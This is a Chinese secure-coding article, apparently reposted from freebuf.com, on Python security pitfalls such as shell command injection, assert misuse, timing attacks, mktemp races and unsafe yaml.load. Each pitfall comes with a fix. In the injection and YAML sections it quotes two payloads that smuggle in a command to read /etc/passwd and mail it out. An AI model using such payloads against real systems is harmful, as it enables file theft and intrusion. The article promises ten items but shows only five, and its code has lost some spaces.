Python 开发中 10 个常见的安全漏洞 – 作者:secguo

1. 输入注入(Input injection)

注入攻击非常广泛而且很常见,注入有很多种类,它们影响所有的语言、框架和环境。

命令注入可能在使用popen、subprocess、os.system 调用一个进程并从变量中获取参数时发生,当调用本地命令时,有人可能会将某些值设置为恶意值。

下面是个简单的脚本,使用用户提供的文件名调用子进程:

importsubprocess

deftranscode_file(request, filename):

command =‘ffmpeg -i “{source}” output_file.mpg’.format(source=filename)

subprocess.call(command, shell=True)  # a bad idea!

攻击者会将filename 的值设置为“; cat / etc / passwd | mail[email protected]或者其他同样危险的东西。

修复:

如果你使用了Web 框架,可以用附带的实用程序对输入进行清理,除非有充分的理由,否则不要手动构建 SQL 查询,大多数 ORM 都具有内置的消毒方法。

对于shell,可以使用 shlex 模块正确地转义输入。

2. assert 语句(Assert statements)

不要使用assert 语句来防止用户访问不应访问的代码段。

deffoo(request, user):

assertuser.is_admin, “user does nothave access”

# secure code…

现在,默认情况下,Python 以 __debug__ 为 true 来执行脚本,但在生产环境中,通常使用优化运行,这将会跳过 assert 语句并直接转到安全代码,而不管用户是否是is_admin。

修复:

仅在与其他开发人员进行通信时使用assert 语句,例如在单元测试中或为了防止不正确的 API 使用。

3. 计时攻击(Timing attacks)

计时攻击本质上是一种通过计时比较提供值所需时间来暴露行为和算法的方式。计时攻击需要精确性,所以通常不能用于高延迟的远程网络。由于大多数Web 应用程序涉及可变延迟,因此几乎不可能在 HTTP Web 服务器上编写计时攻击。

但是,如果你有提示输入密码的命令行应用程序,则攻击者可以编写一个简单的脚本来计算将其值与实际密码进行比较所需的时间。

修复:

使用在Python 3.5 中引入的 secrets.compare_digest 来比较密码和其他私密值。

4.临时文件(Temporary files)

要在Python 中创建临时文件,通常使用 mktemp() 函数生成一个文件名,然后使用该名称创建一个文件。 「这是不安全的,因为另一个进程可能会在调用 mktemp() 和随后尝试通过第一个进程创建文件之间的空隙创建一个同名文件。」这意味着应用程序可能加载错误的数据或暴露其他的临时数据。

如果调用不正确的方法,则最新版本的Python 会抛出运行警告。

修复:

如果需要生成临时文件,请使用tempfile 模块并使用 mkstemp。

5. 使用 yaml.load

引用PyYAML 文档:

警告:使用从不可信源接收到的数据来调用yaml.load 是不安全的! yaml.load 和pickle.load 一样强大,所以可以调用任何 Python 函数。

在流行的Python 项目 Ansible 中找到的这个美丽的例子,你可以将此值作为(有效)YAML 提供给 Ansible Vault,它使用文件中提供的参数调用 os.system()。

!!python/object/apply:os.system [“cat /etc/passwd | mail [email protected]”]

所以,从用户提供的值中有效地加载YAML 文件会让应用对攻击打开大门。

编写安全的代码很困难,当你学习一门编程语言、一个模块或框架时,你会学习其使用方法。在考虑安全性时,你需要考虑如何避免代码被滥用。从Python语言开发基础讲起,由浅入深,讲解Python开发信息安全工具,专门为即将从事网络安全、信息安全和已经从事网络安全、信息安全的专业人员精心制作,主要讲解内容有Python语言的历史、应用、风格、特点、入门、开发实例、python GUI编程、网络编程、数据库编程、爬虫编程、以及python开发扫描器、爆破工具、验证码识别、编写POC、编写木马等,通过学习能够深入了解最前沿的Python语言开发以及爬虫工具开发、黑客工具开发等,是学习python和网络及信息安全方面人员必备之选。

课程推荐:Python 信息安全工具开发

来源:freebuf.com 2020-09-22 22:01:56 by: secguo

© 版权声明
THE END
喜欢就支持一下吧
点赞0
分享
评论 抢沙发

请登录后发表评论